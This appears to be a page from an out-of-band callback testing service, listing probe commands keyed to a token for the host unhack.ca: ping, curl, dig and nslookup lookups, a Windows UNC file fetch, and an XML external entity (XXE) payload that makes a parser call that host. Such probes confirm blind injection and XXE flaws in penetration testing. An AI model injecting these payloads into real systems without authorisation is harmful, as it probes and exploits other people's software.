$ ping -c1 -p 001cb8414a5a7264b5b67628a1250300 unhack.ca
 

$ curl http://unhack.ca/p/1cb8414a5a7264b5b67628a12503
 

$ dig 1cb8414a5a7264b5b67628a12503 @unhack.ca
 

$ dig 1cb8414a5a7264b5b67628a12503.ns.unhack.ca
 

C:\> nslookup 1cb8414a5a7264b5b67628a12503 unhack.ca
 

C:\> type \\unhack.ca\1cb8414a5a7264b5b67628a12503\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1cb8414a5a7264b5b67628a12503">]>
    <foo>&xxe;</foo>